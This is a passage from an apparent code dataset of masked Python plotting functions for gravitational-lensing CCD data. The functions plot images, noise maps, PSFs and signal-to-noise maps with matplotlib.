as a 'x'.", "id": "f5999:m1"}
{"signature": "def plot_psf(<EOL>psf, plot_origin=True, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "origin = get_origin(array=psf, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=psf, origin=origin, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the PSF of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    signal_to_noise_map : ScaledSquarePixelArray\n        The psf of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f5999:m2"}
{"signature": "def plot_signal_to_noise_map(<EOL>signal_to_noise_map, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "origin = get_origin(array=signal_to_noise_map, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=signal_to_noise_map, origin=origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the signal-to-noise_map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    signal_to_noise_map : ScaledSquarePixelArray\n        The signal-to-noise map of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f5999:m3"}
{"signature": "def plot_absolute_signal_to_noise_map(<EOL>absolute_signal_to_noise_map, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "origin = get_origin(array=absolute_signal_to_noise_map, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=absolute_signal_to_noise_map, origin=origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the absolute signal-to-noise map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    absolute_signal_to_noise_map : ScaledSquarePixelArray\n        The absolute signal-to-noise map of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f5999:m4"}
{"signature": "def plot_potential_chi_squared_map(<EOL>potential_chi_squared_map, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "origin = get_origin(array=potential_chi_squared_map, plot_origin=plot_origin)<EOL>array_plotters.plot_array(<EOL>array=potential_chi_squared_map, origin=origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the signal-to-noise_map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all input parameters not described below.\n\n    Parameters\n    -----------\n    potential_chi_squared_map : ScaledSquarePixelArray\n        The signal-to-noise map of the data.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f5999:m5"}
{"signature": "def get_origin(array, plot_origin):", "body": "if plot_origin:<EOL><INDENT>return array.origin<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Get the (y,x) origin of the ccd data if it going to be plotted.\n\n    Parameters\n    -----------\n    array : data.array.scaled_array.ScaledArray\n        The array from which the origin is extracted.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is returned.", "id": "f5999:m6"}
{"signature": "def plot_ccd_subplot(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>should_plot_border=False, positions=None,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=None, aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>titlesize=<NUM_LIT:10>, xlabelsize=<NUM_LIT:10>, ylabelsize=<NUM_LIT:10>, xyticksize=<NUM_LIT:10>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:30>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_filename='<STR_LIT>', output_format='<STR_LIT>'):", "body": "rows, columns, figsize_tool = plotter_util.get_subplot_rows_columns_figsize(number_subplots=<NUM_LIT:6>)<EOL>if figsize is None:<EOL><INDENT>figsize = figsize_tool<EOL><DEDENT>plt.figure(figsize=figsize)<EOL>plt.subplot(rows, columns, <NUM_LIT:1>)<EOL>plot_image(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, should_plot_border=should_plot_border, positions=positions, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:2>)<EOL>plot_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:3>)<EOL>plot_psf(<EOL>ccd_data=ccd_data, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:4>)<EOL>plot_signal_to_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:5>)<EOL>plot_absolute_signal_to_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format)<EOL>plt.subplot(rows, columns, <NUM_LIT:6>)<EOL>plot_potential_chi_squared_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=True,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad,<EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format)<EOL>plotter_util.output_subplot_array(output_path=output_path, output_filename=output_filename,<EOL>output_format=output_format)<EOL>plt.close()<EOL>", "docstring": "Plot the ccd data as a sub-plot of all its quantites (e.g. the data, noise_map-map, PSF, Signal-to_noise-map, \\\n     etc).\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    ccd_data : data.CCDData\n        The ccd data, which includes the observed data, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.\n    image_plane_pix_grid : ndarray or data.array.grid_stacks.PixGrid\n        If an adaptive pixelization whose pixels are formed by tracing pixels from the data, this plots those pixels \\\n        over the immage.\n    ignore_config : bool\n        If *False*, the config file general.ini is used to determine whether the subpot is plotted. If *True*, the \\\n        config file is ignored.", "id": "f6000:m0"}
{"signature": "def plot_ccd_individual(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, positions=None,<EOL>should_plot_image=False,<EOL>should_plot_noise_map=False,<EOL>should_plot_psf=False,<EOL>should_plot_signal_to_noise_map=False,<EOL>should_plot_absolute_signal_to_noise_map=False,<EOL>should_plot_potential_chi_squared_map=False,<EOL>units='<STR_LIT>',<EOL>output_path=None, output_format='<STR_LIT>'):", "body": "if should_plot_image:<EOL><INDENT>plot_image(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, positions=positions,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_noise_map:<EOL><INDENT>plot_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_psf:<EOL><INDENT>plot_psf(<EOL>ccd_data=ccd_data, plot_origin=plot_origin,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_signal_to_noise_map:<EOL><INDENT>plot_signal_to_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_absolute_signal_to_noise_map:<EOL><INDENT>plot_absolute_signal_to_noise_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>if should_plot_potential_chi_squared_map:<EOL><INDENT>plot_potential_chi_squared_map(<EOL>ccd_data=ccd_data, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask,<EOL>units=units,<EOL>output_path=output_path, output_format=output_format)<EOL><DEDENT>", "docstring": "Plot each attribute of the ccd data as individual figures one by one (e.g. the data, noise_map-map, PSF, \\\n     Signal-to_noise-map, etc).\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    ccd_data : data.CCDData\n        The ccd data, which includes the observed data, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m1"}
{"signature": "def plot_image(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False,<EOL>should_plot_border=False, positions=None,<EOL>as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>, position_pointsize=<NUM_LIT:30>, grid_pointsize=<NUM_LIT:1>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_image(<EOL>image=ccd_data.image, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, should_plot_border=should_plot_border, positions=positions,<EOL>as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize, position_pointsize=position_pointsize, grid_pointsize=grid_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the observed data of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed data, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.\n    image_plane_pix_grid : ndarray or data.array.grid_stacks.PixGrid\n        If an adaptive pixelization whose pixels are formed by tracing pixels from the data, this plots those pixels \\\n        over the immage.", "id": "f6000:m2"}
{"signature": "def plot_noise_map(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>, mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_noise_map(<EOL>noise_map=ccd_data.noise_map, plot_origin=plot_origin, mask=mask, extract_array_from_mask=extract_array_from_mask,<EOL>zoom_around_mask=zoom_around_mask, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the noise_map-map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed data, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m3"}
{"signature": "def plot_psf(<EOL>ccd_data, plot_origin=True, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_psf(<EOL>psf=ccd_data.psf, plot_origin=plot_origin, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the PSF of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed data, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m4"}
{"signature": "def plot_signal_to_noise_map(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_signal_to_noise_map(<EOL>signal_to_noise_map=ccd_data.signal_to_noise_map, plot_origin=plot_origin, mask=mask,<EOL>extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the signal-to-noise_map-map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed image, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m5"}
{"signature": "def plot_absolute_signal_to_noise_map(<EOL>ccd_data, plot_origin=True, mask=None, extract_array_from_mask=False, zoom_around_mask=False, as_subplot=False,<EOL>units='<STR_LIT>', kpc_per_arcsec=None, figsize=(<NUM_LIT:7>, <NUM_LIT:7>), aspect='<STR_LIT>',<EOL>cmap='<STR_LIT>', norm='<STR_LIT>', norm_min=None, norm_max=None, linthresh=<NUM_LIT>, linscale=<NUM_LIT>,<EOL>cb_ticksize=<NUM_LIT:10>, cb_fraction=<NUM_LIT>, cb_pad=<NUM_LIT>, cb_tick_values=None, cb_tick_labels=None,<EOL>title='<STR_LIT>', titlesize=<NUM_LIT:16>, xlabelsize=<NUM_LIT:16>, ylabelsize=<NUM_LIT:16>, xyticksize=<NUM_LIT:16>,<EOL>mask_pointsize=<NUM_LIT:10>,<EOL>output_path=None, output_format='<STR_LIT>', output_filename='<STR_LIT>'):", "body": "data_plotters.plot_absolute_signal_to_noise_map(<EOL>absolute_signal_to_noise_map=ccd_data.absolute_signal_to_noise_map, plot_origin=plot_origin, mask=mask,<EOL>extract_array_from_mask=extract_array_from_mask, zoom_around_mask=zoom_around_mask, as_subplot=as_subplot,<EOL>units=units, kpc_per_arcsec=kpc_per_arcsec, figsize=figsize, aspect=aspect,<EOL>cmap=cmap, norm=norm, norm_min=norm_min, norm_max=norm_max, linthresh=linthresh, linscale=linscale,<EOL>cb_ticksize=cb_ticksize, cb_fraction=cb_fraction, cb_pad=cb_pad, <EOL>cb_tick_values=cb_tick_values, cb_tick_labels=cb_tick_labels,<EOL>title=title, titlesize=titlesize, xlabelsize=xlabelsize, ylabelsize=ylabelsize, xyticksize=xyticksize,<EOL>mask_pointsize=mask_pointsize,<EOL>output_path=output_path, output_format=output_format, output_filename=output_filename)<EOL>", "docstring": "Plot the signal-to-noise_map-map of the ccd data.\n\n    Set *autolens.data.array.plotters.array_plotters* for a description of all innput parameters not described below.\n\n    Parameters\n    -----------\n    image : data.CCDData\n        The ccd data, which includes the observed image, noise_map-map, PSF, signal-to-noise_map-map, etc.\n    plot_origin : True\n        If true, the origin of the data's coordinate system is plotted as a 'x'.", "id": "f6000:m6"}
